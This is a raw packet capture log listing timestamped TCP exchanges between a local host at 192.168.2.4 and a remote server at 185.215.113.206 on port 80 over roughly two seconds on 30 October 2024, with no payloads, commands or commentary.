Oct 30, 2024 02:27:09.867577076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.867630005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.867660046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.867679119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.867707014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.867712975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.867729902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.867734909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.867763042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.867777109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.869954109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.870018959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.870035887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.870050907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.902693987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.902776957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.902822971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.902846098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.955672026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.955689907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.955830097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.986506939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.986547947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.986577034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.986594915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.986613035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.986645937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.986854076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.986871004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.986885071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:09.986908913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:09.986944914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.022023916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.022238970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.022243977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.022284985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.022289991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.022326946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.105578899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.105635881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.105674028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.105690956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.105720043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.105727911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.105736017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.105743885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.105767965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.105791092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.105899096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.105942965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.105954885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.105969906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.105994940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.106024027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.140628099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.140691042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.140697956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.140723944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.140741110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.140744925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.140762091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.140783072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.192404985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.192421913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.192523003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.224793911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.224812031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.224828005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.224850893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.224903107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.224945068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.224958897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.224992990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.225065947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.225112915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.225117922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.225172043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.225286007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.225298882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.225337982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.259797096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.259860992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.259979010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.259994030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.260009050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.260030985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.260054111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.344065905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.344172001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.344207048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.344228983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.344243050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.344269991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.344280005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.344296932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.344326019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.344330072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.344362020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.344368935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.344377995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.344393969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.344409943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.344417095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.344440937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.378918886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.378953934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.378967047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.378994942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.379012108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.379020929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.379036903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.379064083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.379090071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.463236094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.463368893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.463404894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.463449955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.463455915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.463496923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.463504076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.463538885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.463558912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.463572025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.463583946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.463592052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.463618040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.463641882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.463684082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.463722944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.463731050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.463762045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.498152971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.498168945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.498214006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.498334885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.498351097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.498366117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.498380899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.498389959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.498408079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.498439074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.582159042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.582278013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.582341909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.582376957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.582397938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.582412004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.582422972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.582449913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.582461119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.582500935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.582511902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.582561016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.617139101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.617221117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.617314100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.617372036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.617378950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.617403030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.617427111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.617434978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.617450953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.617451906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.617468119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.617476940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.617484093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.617491007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.617511034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.617527008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.701100111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.701132059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.701148987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.701159000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.701181889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.701203108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.701214075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.701260090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.701265097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.701282024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.701303005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.701324940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.736208916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.736226082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.736241102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.736282110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.736288071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.736330032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.736366034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.736407042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.736442089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.736485004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.736526966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.736546993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.736571074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.736573935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.736582994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.736614943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.820086002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.820193052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.820297956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.820313931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.820328951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.820343018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.820348978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.820390940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.820425034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.820437908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.820467949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.820485115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.855323076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.855390072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.855402946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.855402946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.855565071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.855578899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.855587959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.855597019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.855752945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.856050968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.856076002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.856102943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.856134892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.939461946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.939476013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.939487934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.939502954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.939532995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.939558029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.939608097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.939657927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.939698935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.939698935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.974414110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.974613905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:10.974653959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.974664927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.974670887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.974675894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:10.974841118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.016869068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.016880989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.016886950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.017076015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.058293104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.058382988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.058393955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.058470011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.058470011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.210458040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.210474968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.210485935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.210519075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.210530996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.210539103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.210542917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.210573912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.210594893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.210774899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.210807085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.210819960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.210830927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.210843086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.210863113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.210897923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.210932970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.210943937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.210949898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.210967064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.210983992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.211752892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.211766005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.211776018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.211813927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.211854935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.212464094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.212475061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.212513924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.255924940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.255990028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.256067038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.256102085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.256114960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.256195068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.297619104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.297683001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.297831059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.297883034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.297919035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.297952890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.297995090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.298029900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.298082113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.329473972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.329525948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.329526901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.329572916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.374876022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.374898911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.374911070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.374953032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.374983072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.416728020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.416745901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.416757107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.416815996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.416893959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.416906118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.416918993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.416965961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.417011976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.417058945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.417058945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.417072058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.417094946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.417119980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.494136095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.494200945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.494211912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.494378090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.494396925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.535948992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.535965919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.535993099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.536011934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.536022902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.536034107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.536037922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.536083937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.536251068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.536262035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.536293983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.536353111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.536395073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.536402941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.536407948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.536429882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.536443949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:11.613146067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.613159895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:11.613209963 CET	80	49730	185.215.113.206	192.168.2.4
